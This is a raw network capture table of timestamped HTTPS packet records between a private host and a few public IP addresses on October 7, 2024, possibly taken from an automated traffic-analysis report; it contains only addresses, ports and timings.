Oct 7, 2024 20:59:09.919087887 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.921535969 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.921621084 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.921969891 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.922101974 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.922146082 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.935297012 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.935836077 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.935940027 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.936033964 CEST	49758	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.936065912 CEST	443	49758	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.938718081 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.938992023 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.939028978 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.942575932 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.942672014 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.943037987 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.943166971 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.943222046 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.947407961 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.948095083 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.948110104 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.950921059 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951003075 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.951086998 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951111078 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.951159954 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951221943 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951361895 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951417923 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.951555014 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:09.951584101 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:09.956207037 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.956475019 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.956511021 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.958132982 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.958254099 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.958611965 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.958699942 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.958739042 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.963042974 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.963064909 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.965796947 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.965948105 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966033936 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.966061115 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966398954 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966463089 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.966475964 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966577053 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966681957 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.966687918 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.966768980 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.966974974 CEST	49762	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.967015028 CEST	443	49762	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.967135906 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.967170000 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.967247009 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.967798948 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.967818975 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.980812073 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.981249094 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.981266022 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.982706070 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.982824087 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983086109 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983086109 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983119965 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983179092 CEST	443	49770	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.983248949 CEST	49770	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983362913 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983431101 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.983568907 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983782053 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.983803034 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.995049000 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.995070934 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:09.995098114 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:09.999427080 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.011100054 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.011126041 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.011197090 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.037170887 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.037503004 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.037522078 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.041374922 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041505098 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041569948 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.041580915 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.041591883 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041621923 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041667938 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.041702032 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.041716099 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041897058 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.041963100 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.042140961 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.042314053 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.042723894 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.042737961 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.042963028 CEST	49765	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.042984962 CEST	443	49765	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.043061018 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.053798914 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.053910017 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.053992033 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.053993940 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.054078102 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.054142952 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.054169893 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.054301023 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.054373026 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.054728985 CEST	49769	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.054770947 CEST	443	49769	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.059037924 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.073472977 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.073653936 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.073847055 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.074320078 CEST	49767	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.074358940 CEST	443	49767	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.091079950 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.100172997 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100233078 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100301027 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100353956 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100399971 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100430012 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.100430012 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.100500107 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100574017 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.100579977 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100594044 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100662947 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.100697994 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100919008 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.100985050 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.101000071 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.149090052 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.155210972 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.155273914 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.182668924 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.182785988 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.182849884 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.183247089 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.183312893 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.183330059 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.183351994 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.183450937 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.183589935 CEST	49771	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.183620930 CEST	443	49771	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.203099012 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.207712889 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.207931995 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.208004951 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.208292007 CEST	49764	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.208313942 CEST	443	49764	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.284035921 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.284378052 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.284404039 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.285991907 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.286067963 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.286468029 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.286541939 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.286689043 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.286695004 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.292504072 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.292731047 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.292762995 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.294573069 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.294650078 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.295036077 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.295135021 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.295185089 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.296063900 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.296283960 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.296370029 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.297142029 CEST	49760	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.297178984 CEST	443	49760	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.330095053 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.339400053 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.348146915 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.348176003 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.349545002 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.349837065 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.349849939 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.350708961 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.350816011 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.351177931 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.351228952 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.351360083 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.351363897 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.371504068 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.371946096 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.371980906 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.375511885 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.375619888 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.376245022 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.376332998 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.376467943 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.376482010 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.394038916 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.405052900 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.420054913 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.423182964 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.423471928 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.423489094 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.424802065 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.425190926 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.425277948 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.425378084 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.449502945 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.449793100 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.449824095 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.455039024 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.455127954 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.455483913 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.455626965 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.455640078 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.471405029 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.473056078 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.499412060 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.504065990 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.504082918 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.515760899 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.516011953 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.516047001 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.517515898 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.517597914 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.517959118 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.518201113 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.519738913 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.552046061 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.575589895 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.575614929 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.616074085 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.657713890 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.657968998 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.658179998 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.658740044 CEST	49772	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.658782959 CEST	443	49772	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.661721945 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.661793947 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.661921978 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.662071943 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.662095070 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.664319038 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.664444923 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.664501905 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.664525032 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.665210962 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.665268898 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.665618896 CEST	49773	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.665631056 CEST	443	49773	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.669435024 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.669460058 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.669569016 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.669815063 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.669842958 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.721740007 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.721777916 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.721856117 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.721868992 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.721967936 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.722261906 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.722327948 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.722385883 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.722822905 CEST	49775	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.722832918 CEST	443	49775	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.725306988 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.725353956 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.725457907 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.725615978 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.725635052 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.756659985 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.756778002 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.756854057 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.756875992 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.756911039 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.756972075 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.756985903 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.757059097 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.757143974 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.757571936 CEST	49776	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.757596016 CEST	443	49776	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.758479118 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.758752108 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.758811951 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.759892941 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.759980917 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.760154009 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.760185003 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.760255098 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.760447979 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.760464907 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.761091948 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.761162043 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.761439085 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.761456966 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.762072086 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.762295961 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.762311935 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.763786077 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.763875961 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.764812946 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.764904976 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.764990091 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.765006065 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:10.789800882 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.789855957 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.789921999 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.789927959 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.789956093 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.789969921 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.789988995 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.790057898 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.790066957 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.790523052 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.790565014 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.790586948 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.790601969 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.790649891 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.790680885 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.795787096 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.795866966 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.795892000 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.806062937 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.806098938 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:10.812551975 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.812714100 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.817882061 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.818902969 CEST	49779	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.818919897 CEST	443	49779	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.838186979 CEST	49780	443	192.168.2.16	104.21.57.143
